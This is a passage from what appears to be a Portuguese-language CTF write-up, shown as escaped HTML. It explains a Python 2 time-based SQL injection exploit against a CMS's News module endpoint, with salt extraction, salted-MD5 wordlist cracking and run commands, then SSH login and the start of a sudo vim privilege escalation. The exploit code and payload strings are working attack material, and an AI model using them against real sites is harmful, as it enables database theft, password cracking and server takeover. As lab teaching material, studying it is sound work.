&lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_option&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-w&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--wordlist&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;store&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wordlist&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Wordlist for crack admin password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_option&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-c&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--crack&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;store_true&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cracking&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Crack password with wordlist&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse_args&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Com o fato lidar com as linhas de comandos que serão configuradas em prol ao exploit, o optparse.OptionParser() define os argumentos que o usuário poderá passar para o script. O -u para url, -w para a seleção da wordlist que será usada para quebrar a senha e  o -c para que seja ativada essa quebra de senha.&lt;br&gt;
Essa configuração do url alvo constrói uma conexão com a Camada de Aplicação, quando se está determinando qual o endpoint que será explorado.&lt;/p&gt;
&lt;h3&gt;
  
  
  Validação do URL
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Specify an url target&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Example usage (no cracking password): exploit.py -u http://target-uri&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Após a definição dos argumentos do Parser é realizada uma verificação, caso a url passada pelo usuário seja válida. Se for inválida, é lançado no output do terminal um script com instruções de ajuda e finaliza a execução do exploit, porque é necessário que esses dados estejam corretos, para que a conexão HTTP ocorra, garantindo a Camada de Aplicação o recebimento das informações adequadamente.&lt;/p&gt;
&lt;h3&gt;
  
  
  Variáveis
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;url_vuln&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/moduleinterface.php?mact=News,m1_,default,0&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;dictionary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
&lt;span class="n"&gt;temp_password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
&lt;span class="n"&gt;TIME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="n"&gt;db_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
&lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
&lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;

&lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;
&lt;span class="n"&gt;wordlist&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Nesse estágio do exploit são definidas as variáveis que constituem o ataque:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;url_vuln&lt;/strong&gt;: O alvo do ataque que são a url principal e o endpoint vulnerável. Consequentemente é definido o recurso no servidor web alvo que será possivelmente acessado e também explorado. Além disso, são feitas requisições HTTP, que atuam na camada de aplicação.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;session&lt;/strong&gt;: É criada uma sessão HTTP, que mesmo após o servidor processar a requisição e enviar de volta a resposta, a mesma não é fechada e garante ao cliente uma nova requisição. A camada de sessão se faz presente para que seja possível gerenciar a persistência dessas conexões HTTP.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;dictionary&lt;/strong&gt;: São os caracteres que serão usados para a força bruta. Através desses conjuntos de caracteres usados nesse processo de força bruta terá uma estrutura específica, tanto hexadecimal, para que seja possível gerar os payloads do SQL Injection, quanto hash MD5 e as senhas possam ser comparadas durante a quebra. Portanto, ocorre uma manipulação e também conversão dos dados, no qual a camada de apresentação lida, ou seja, transformando esses formatos de dados entre o sistema e a rede.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;flag&lt;/strong&gt;: Variável utilizada em relação a controle, para que ao ser usada em loops possa determinar se o processo da extração de dados deve continuar ou não.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;password&lt;/strong&gt;:  Tem como objetivo armazenar a senha que será extraída do banco de dados no processo de SQL Injection. Dentro dessa perspectiva, esse campo também retrata uma etapa da apresentação quanto as possibilidades da senha ser convertida para diversos formatos e ser autenticada e quando isso ocorre se torna parte das credenciais usadas para o acesso de sistema do alvo, por parte da aplicação.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;temp_password&lt;/strong&gt;: É um campo temporário que busca construir e também testar as possíveis combinações de caracteres das hashes no processo de extração da senha. Esses valores são justamente manipulados e também testados contra a url vulnerável do servidor web.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TIME&lt;/strong&gt;: Define o atraso em segundos que serão necessários para que seja validado o SQL Injection. Caso o tempo de resposta seja maior do que a definida, isso irá indicar que o payload foi realizado.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;db_name&lt;/strong&gt;: Armazenamento de nome de usuário do banco de dados obtido através do SQL Injection. Mais uma vez a camada de apresentação se faz presente por se tratar de um dado que pode ser convertido para diversos formatos durante a extração e apresentação, alem de ser uma informação da aplicação alvo.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;email&lt;/strong&gt;: Armazenamento do e-mail capturado do banco de dados do servidor web  e por consequência também pode ser formatado ou validado antes de ser exibido na apresentação desse dado.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;salt&lt;/strong&gt;: É um valor utilizado para proteger as senhas no banco de dados. É necessário tentar extrair esse valor, para que seja possível realizar ataques de força bruta nas senhas. Como resultado, é parte da apresentação por ser manipulado e processado em formato hash MD5, antes de ocorrer a comparação ao hash das senhas armazenadas.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;wordlist&lt;/strong&gt;: Essa variável armazena o diretório/caminho fornecido pelo usuário para um arquivo com uma lista de palavras que serão usadas como possíveis senhas e testadas em comparativo com a hash da senha combinado em conjunto com o salt. Essas palavras que serão listadas são processadas e também manipuladas, pois são relacionadas ao salt e após isso convertidas para hashes MD5, antes de serem de fato comparadas com a hash da senha armazenada.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wordlist&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;wordlist&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wordlist&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;É importante ressaltar que essa condição apresentada acima após a definição das variáveis verifica se o usuário forneceu um caminho para o o arquivo de wordlist através do argumento definido pelo &lt;strong&gt;optparse&lt;/strong&gt;. Caso tenha sido passado, o mesmo é adicionado a variável wordlist e a mesma passa a ter o diretório completo do arquivo que será usado para força bruta.&lt;/p&gt;
&lt;h3&gt;
  
  
  Função crack_password
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;crack_password&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;
    &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;
    &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="n"&gt;wordlist&lt;/span&gt;
    &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;
    &lt;span class="nb"&gt;dict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wordlist&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;beautify_print_try&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;[+] Password cracked: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;
    &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Essa função basicamente lê a wordlist linha por linha e também combina cada entrada com o salt do banco de dados. Desse modo, também gera o hash MD5 para que seja possível comparar com a senha encontrada no banco de dados. Logo, esse processo é uma manipulação de dados criptográficos presente na apresentação.&lt;/p&gt;
&lt;h3&gt;
  
  
  Função dump_salt
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;dump_salt&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;
    &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;
    &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;
    &lt;span class="n"&gt;ord_salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
    &lt;span class="n"&gt;ord_salt_temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dictionary&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
            &lt;span class="n"&gt;temp_salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;dictionary&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="n"&gt;ord_salt_temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ord_salt&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dictionary&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]))[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
            &lt;span class="nf"&gt;beautify_print_try&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;temp_salt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;a,b,1,5))+and+(select+sleep(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TIME&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;)+from+cms_siteprefs+where+sitepref_value+like+0x&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;ord_salt_temp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;25+and+sitepref_name+like+0x736974656d61736b)+--+&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;url_vuln&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;amp;m1_idlist=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;
            &lt;span class="n"&gt;start_time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;elapsed_time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;start_time&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;elapsed_time&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;TIME&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;temp_salt&lt;/span&gt;
            &lt;span class="n"&gt;ord_salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ord_salt_temp&lt;/span&gt;
    &lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
    &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;[+] Salt for password found: &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;A função dump_salt realiza o processo de construção dos payloads SQL de maneira repetida para que seja possível capturar o salt, pois sem o salt não é possível conseguir as credenciais. Tanto que nesse momento, pode ser visto bem a interação por parte da camada 6, porque ocorre manipulação dos caracteres com a função hex(), em conjunto com a ord() e o envio &lt;br&gt;
desses payloads HTTP para a camada de aplicação.&lt;br&gt;
Uma questão importante é que o mesmo processo acontece nas outras funções, como a &lt;strong&gt;dump_password&lt;/strong&gt;, &lt;strong&gt;dump_username&lt;/strong&gt; e &lt;strong&gt;dump_email&lt;/strong&gt;. A construção dos payloads, que é gerada por cada função em busca de um valor específico, a requisição de envio, que é justamente o mesmo endpoint, para obter as informações dessa aplicação vulnerável. Um ponto interessante é como a camada de apresentação faz a manipulação desses dados para os formatos necessários, seja de conversão para hexadecimal e construir os payloads, quanto o ato de unir esses caracteres e refazer essas informações que foram obtidas.&lt;/p&gt;

&lt;p&gt;Por fim, para que seja possível iniciar esse exploit é necessário o python2:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl https://bootstrap.pypa.io/pip/2.7/get-pi.py &lt;span class="nt"&gt;-o&lt;/span&gt; get-pip.py

python2 get-pip.py

python2 &lt;span class="nt"&gt;-m&lt;/span&gt; pip &lt;span class="nt"&gt;--version&lt;/span&gt; 

python &lt;span class="nt"&gt;-m&lt;/span&gt; pip &lt;span class="nb"&gt;install &lt;/span&gt;requests
python2 &lt;span class="nt"&gt;-m&lt;/span&gt; pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--upgrade&lt;/span&gt; pip setuptools
python2 &lt;span class="nt"&gt;-m&lt;/span&gt; pip &lt;span class="nb"&gt;install &lt;/span&gt;termcolor

python2 exploit.py &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://IP/simple"&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Comprometimento
&lt;/h2&gt;

&lt;h3&gt;
  
  
  SSH
&lt;/h3&gt;

&lt;p&gt;O Secure Shell (SSH) é um protocolo que utiliza criptografia para que seja possível estabelecer conexões remotas de forma segura entre computadores.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyel1s1xx395g8roop083.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyel1s1xx395g8roop083.png" alt="SSH Authentication" width="800" height="410"&gt;&lt;/a&gt;&lt;br&gt;
A ideia principal é entender o funcionamento do protocolo SSH durante a invasão. O primeiro ponto é estar principalmente na camada de aplicação, por ser um protocolo criado para que essas conexões ocorram de maneira mais segura ao acessar o servidor web do alvo via SSH, existem dois pontos importantes: A &lt;strong&gt;autenticação&lt;/strong&gt;, no caso do usuário Mitch e a &lt;strong&gt;sessão remota&lt;/strong&gt;, que é o acesso ao sistema operacional no servidor, que no caso é Ubuntu (Linux), com isso é possível usar comandos, executar processo, etc. &lt;br&gt;
O protocolo SSH perpassa também outras camadas como a de transporte, para que seja possível uma conexão confiável entre cliente e servidor, assim o protocolo TCP se faz presente mais uma vez. A camada de Rede em virtude do protocolo IP, que já foi visto anteriormente e o de &lt;strong&gt;enlace&lt;/strong&gt;, porque o protocolo depende dessa camada para que os dados sejam enviados corretamente entre os dispositivos físicos na rede, &lt;strong&gt;algo como "encapsulamento" desses dados, mas não um encapsulamento em definitivo&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;Quanto ao processo do alvo até a flag existem três pontos legais: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Além do Mitch, existem um segundo usuário que é a resposta para o: Is there any other user in the home directory? What's its name?&lt;/li&gt;
&lt;li&gt;A captura da primeira flag &lt;strong&gt;user.txt&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Com o comando &lt;strong&gt;sudo -l&lt;/strong&gt; é possível mostrar os privilégios do usuário atual, no caso do Mitch e o mesmo pode executar o comando vim no diretório &lt;strong&gt;/usr/bin&lt;/strong&gt; com o máximo de privilégio no sistema. É através desse comando que se tem a resposta para o: What can you leverage to spawn a privileged shell?. E em consequência a elevação de privilégios e acesso a última flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Elevação de privilégios
&lt;/h2&gt;

&lt;p&gt;Por fim, para realizar e ter acesso a última flag é basicamente utilizar o comando de acesso ao vim e já incrementando uma opção que possa viabilizar a execução do comando &lt;strong&gt;bash&lt;/strong&gt; e ter acesso ao servidor web como root.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
